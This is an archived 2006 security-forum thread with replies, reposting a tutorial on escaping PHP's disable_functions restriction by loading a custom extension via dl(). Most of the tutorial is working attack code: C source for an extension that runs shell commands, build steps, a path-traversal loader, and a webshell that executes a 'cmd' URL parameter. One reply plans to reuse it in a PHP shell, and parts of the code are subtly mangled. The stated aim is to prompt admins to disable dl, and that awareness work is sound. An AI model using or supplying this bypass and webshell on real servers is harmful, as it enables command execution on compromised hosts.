Government Security
Network Security Resources

Jump to content

Photo

Bypassing Disabled Exec Functions In Php

- - - - - security server vulnerability c++ cgi php shell web app web application
  • Please log in to reply
5 replies to this topic

#1 Kenny

Kenny

    Former Commander In Chief

  • Retired Admin
  • 6,747 posts

Posted 26 November 2006 - 04:03 AM

Credit for this Article go's to prozente a new GSO member...

now this is what i call an excellent first post ;)


Bypassing disabled exec functions in PHP using the dl function

by: prozente@gmail.com

  • The reason I wrote this was to convince admins to disable the dl function that's built-in PHP.

    This article will be in regards to an admin that doesn't run PHP in Safemode.
    This is because when safemode is enabled various restrictions are activated, one of these restrictions is the disabling of the dl function.

    Admins that don't run with safemode on tend to take advantage of the disable_functions directive.
    The PHP manual states

    disable_functions string

    This directive allows you to disable certain functions for security reasons. It takes on a comma-delimited list of function names


    This directive is commonly used to disable any functions that allow the execution of system commands.

    Some for example are:
  • exec - "Execute an external program"
  • passthru - "Execute an external program and display raw output"
  • system - "Execute an external program and display the output"
  • popen - "Opens a pipe to a process executed by forking the command given by command"
  • pcntl_exec - "Executes specified program in current process space"
  • shell_exec - "Execute command via shell and return the complete output as a string"
  • proc_open - "Execute a command and open file pointers for input/output"
If you'd like to read on some commonly disabled functions you may be interested in an article by Damien Seguy titled "PHP configuration statistics".
In the second part of the article are some statistics of commonly disabled functions.

Let me give you a scenario, in the scenario an admin has disabled all of the PHP functions used to execute system commands.
The admin has also disabled means of executing code through cgi-bin along with SSI by disabling mod_include.
The attacker has gained access to the web server via a vulnerability in a web script and has been able to upload a webshell to the server.

(For those who don't know, a webshell is a web application or script that allows handling basic system functions such as creating/editing/deleting/uploading files and if the system allows executing system commands through a web interface.)

In this situation the attacker cannot use the webshell to execute commands since the admin has disabled that functionality. This does not how ever stop the attacker from uploading additional files, that is if the file permissions allow it.
In this scenario the file permissions were carelessly handled and the attacker had no problems with creating/uploading new files.
For the most part the battle has been lost since the attacker has already been able to gain this much access, but this isn't what the article is about.

When the admin was configuring the box he/she overlooked the dl function and didn't disable it since there was no mention of being able to execute system commands.
The dl function is used to loads PHP extensions when a script is executed.

(PHP extensions are written in C/C++ and are used to give PHP more functionality.)

The attacker notices the function isn't disabled and sees potential and decides to create a PHP extension.
The attacker checks the version of PHP using a small script

<?php echo 'PHP Version is '.PHP_VERSION; ?>

(PHP_VERSION is a predefined constant that contains the version number of PHP.)

The attacker notes the version and downloads the tarball from the PHP website, in this scenario the version is older than the current release so the attacker has to go to the archive.

Next he extracts the source and compiles and installs the version of PHP on his own box.

Now it's time to create the extension
The attacker reads up on creating PHP extensions from the PHP site.
After reading through the documentation and creating some extensions of his own he decides to look at the PHP code base since the function he's after is already created.

The function that will be duplicated will be the exec function
in the code base it's located in ext/standard/exec.c

The relevant parts are implemented into a new extension of its own.

The files for the separate extension end up as below:

bypass.c
/*
	+----------------------------------------------------------------------+
	| Copyright (c) 1997-2003 The PHP Group								|
	+----------------------------------------------------------------------+
	| This source file is subject to version 2.02 of the PHP license,	  |
	| that is bundled with this package in the file LICENSE, and is		|
	| available at through the world-wide-web at						   |
	| http://www.php.net/license/2_02.txt.								 |
	| If you did not receive a copy of the PHP license and are unable to   |
	| obtain it through the world-wide-web, please send a note to		  |
	| license@php.net so we can mail you a copy immediately.			   |
	+----------------------------------------------------------------------+
 */
 
 
 #ifdef HAVE_CONFIG_H
 #include "config.h"
 #endif
 
 #include "php.h"
 #include "php_bypass.h"
 
 static function_entry bypass_functions[] = {
	 PHP_FE(bypass_exec, NULL)
	 {NULL, NULL, NULL}
 };
 
 zend_module_entry bypass_module_entry = {
 #if ZEND_MODULE_API_NO >= 20010901
	 STANDARD_MODULE_HEADER,
 #endif
	 PHP_BYPASS_EXTNAME,
	 bypass_functions,
	 NULL,
	 NULL,
	 NULL,
	 NULL,
	 NULL,
 #if ZEND_MODULE_API_NO >= 20010901
	 PHP_BYPASS_VERSION,
 #endif
	 STANDARD_MODULE_PROPERTIES
 };
 
 #ifdef COMPILE_DL_BYPASS
 ZEND_GET_MODULE(bypass)
 #endif
 
 
 PHP_FUNCTION(bypass_exec){
   FILE *in;
   int readbytes, total_readbytes=0, allocated_space;
   pval **cmd;
   char *ret;
 
   if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, &cmd)==FAILURE) {
	 WRONG_PARAM_COUNT;
   }
 
   convert_to_string_ex(cmd);
 #ifdef PHP_WIN32
   if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "rt"))==NULL) {
 #else
   if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "r"))==NULL) {
 #endif
	 php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to execute '%s'", Z_STRVAL_PP(cmd));
	 RETURN_FALSE;
   }
 
   allocated_space = EXEC_INPUT_BUF;
   ret = (char *) emalloc(allocated_space);
 
   while (1) {
	 readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in);
	 if (readbytes<=0) {
	   break;
	 }
 
	 total_readbytes += readbytes;
	 allocated_space = total_readbytes+EXEC_INPUT_BUF;
	 ret = (char *) erealloc(ret, allocated_space);
   }
 
   pclose(in);
 
   RETVAL_STRINGL(ret, total_readbytes, 0);
   Z_STRVAL_P(return_value)[total_readbytes] = '\';
 }

php_bypass.h
#ifndef PHP_BYPASS_H
 #define PHP_BYPASS_H 1
 
 #define PHP_BYPASS_VERSION "1.0"
 #define PHP_BYPASS_EXTNAME "bypass"
 
 PHP_FUNCTION(bypass_exec);
 
 extern zend_module_entry bypass_module_entry;
 #define phpext_bypass_ptr &bypass_module_entry
 
 #endif

config.m4
HP_ARG_ENABLE(bypass, whether to enable bypass support,
 [ --enable-bypass   Enable bypass support])
 
 if test "$PHP_BYPASS" = "yes"; then
   AC_DEFINE(HAVE_BYPASS, 1, [Whether you have bypass])
   PHP_NEW_EXTENSION(bypass, bypass.c, $ext_shared)
 fi


Once the files are created it's time to build the PHP extension.

phpize
 ./configure
 make

Once this is done the compiled extension will be located in the modules sub directory with the filename bypass.so.
The file is copied to a safe place, now the following commands are executed to clean up the newly created files.
make clean
 phpize --clean

Now the attacker uploads the newly created extension to the victim host.

(NOTE: Major releases of PHP use different API versions, in order for you to be able to compile the extension on one host and upload it to another the API versions must match. This is why initially the same PHP version was installed on the attackers box. )

In order to load an extension with the dl function the extension needs to be in the the extension directory which is defined by the extension_dir directive.
This can be a problem since it's less likely for the attacker to have write permissions in this directory, there is however a way to get passed this.
This problem has been discussed by developers on the dl function page within the notes section.

The concept that was discussed is to use a relative path from the defined extension directory.
For example if the extension directory was set to /usr/php/extensions and you'd like to load bypass.so in the current web directory /home/example.com/html you would do as follows:

<?php
 
 dl('../../../home/example.com/html/bypass.so');
 
 ?>

This will get passed the need to have the extension in the defined extension directory.

There is also an automated way so you won't have to change the relative path for different hosts, this code was created by endofyourself [at] yahoo [dot] com and improved apon later on by mag_2000 [at] front [dot] ru

There was one minor problem with the function, on some hosts the extension directory is set to "./" this function didn't take into account if the extension directory was set to a relative path, the fix for this is too use the realpath function.

The final script used to load the extension and execute system commands to bypass the disabled functions is as follows:
<?php
 
 function dl_local( $extensionFile ) {
   if(!(bool)ini_get('enable_dl')
	||(bool)ini_get('safe_mode')){
	  die('Loading extensions is not permitted.');
   }
 
   if(!file_exists($extensionFile)){
	 die('File '.$extensionFile.' does not exist.');
   }
 
   if(!is_executable($extensionFile)){
	 die('File '.$extensionFile.' is not executable. ( chmod +x '.$extensionFile.' )');
   }
 
   $currentDir = getcwd().'/';
   $currentExtPath = realpath(ini_get('extension_dir'));
 
   $subDirs = preg_match_all("/\//",$currentExtPath ,$matches);
   unset($matches);
 
   if(!(bool)$subDirs){
	 die('Could not determine a valid extension path [extension_dir]');
   }
 
   $extPathLastChar=strlen($currentExtPath )-1;
 
   if($extPathLastChar==strrpos($currentExtPath,'/')){
	 $subDirs--;}$backDirStr = '';
 
	 for($i = 1; $i <= $subDirs; $i++){
	   $backDirStr .='..';
	   if($i != $subDirs){
		 $backDirStr .='/';
	   }
	 }
 
	 $finalExtPath = $backDirStr.$currentDir.$extensionFile;
	 if(!dl($finalExtPath)){
	   die();
	 }
 
 
	 $loadedExtensions = get_loaded_extensions();
	 $thisExtName = $loadedExtensions[sizeof($loadedExtensions)-1];
	 return $thisExtName;
 }
 
 @ini_set ('display_errors','1');
 error_reporting(E_ALL);
 
 dl_local('bypass.so');
 
 if(@$_GET['cmd']){
   $output = bypass_exec($_GET['cmd']);
   echo '<pre>'.$output.'</pre>';
 }
 ?>

Alls the attacker has to do now to execute commands is call the URL to the script along with a cmd variable with the desired command.

example:
http://www.example.c...ript.php?cmd=ls

In order to disable the dl function edit php.ini and add it to the disable_functions directive.


Kenny aka ComSec

Please read the Forum Rules !!!

______________________

#2 aelphaeis_mangarae

aelphaeis_mangarae

    Members

  • Sergeant Major
  • 973 posts

Posted 26 November 2006 - 02:01 PM

Great tutorial prozente, I have seen you around (from memory).

Off Topic: I have to ask why something I submitted to this section has yet to be published.

#3 Kenny

Kenny

    Former Commander In Chief

  • Retired Admin
  • 6,747 posts

Posted 26 November 2006 - 04:10 PM

best thing to do Aelphaeis.... is to send a PM to the section mods... they will deal with it... the reason i posted this article was he sent it direct to me via the PM system... i would have forwarded it the section mod for approval... but as i had some time on my hands ... posted it on behalf of prozente as requested by him



Forum Led by: Blake, or any Second Lieutenant, or First Lieutenant
Kenny aka ComSec

Please read the Forum Rules !!!

______________________

#4 raif

raif

    Staff Sergeant

  • Sergeant Major
  • 275 posts

Posted 27 November 2006 - 06:55 AM

great first post! i love this idea. i'm actually messing around with my own php shell and i may be able to include this concept

#5 illegal-city

illegal-city

    Private

  • Members
  • 9 posts

Posted 30 November 2006 - 01:56 PM

Great Idea, Much Appreacheated.
Nice workarround, whould ike to know if their are any futher simpilar ones though

#6 Ariyan

Ariyan

    Private First Class

  • Members
  • 25 posts

Posted 23 May 2009 - 07:15 AM

Do You Have Video For This Article ?





Also tagged with one or more of these keywords: security, server, vulnerability, c++, cgi, php, shell, web app, web application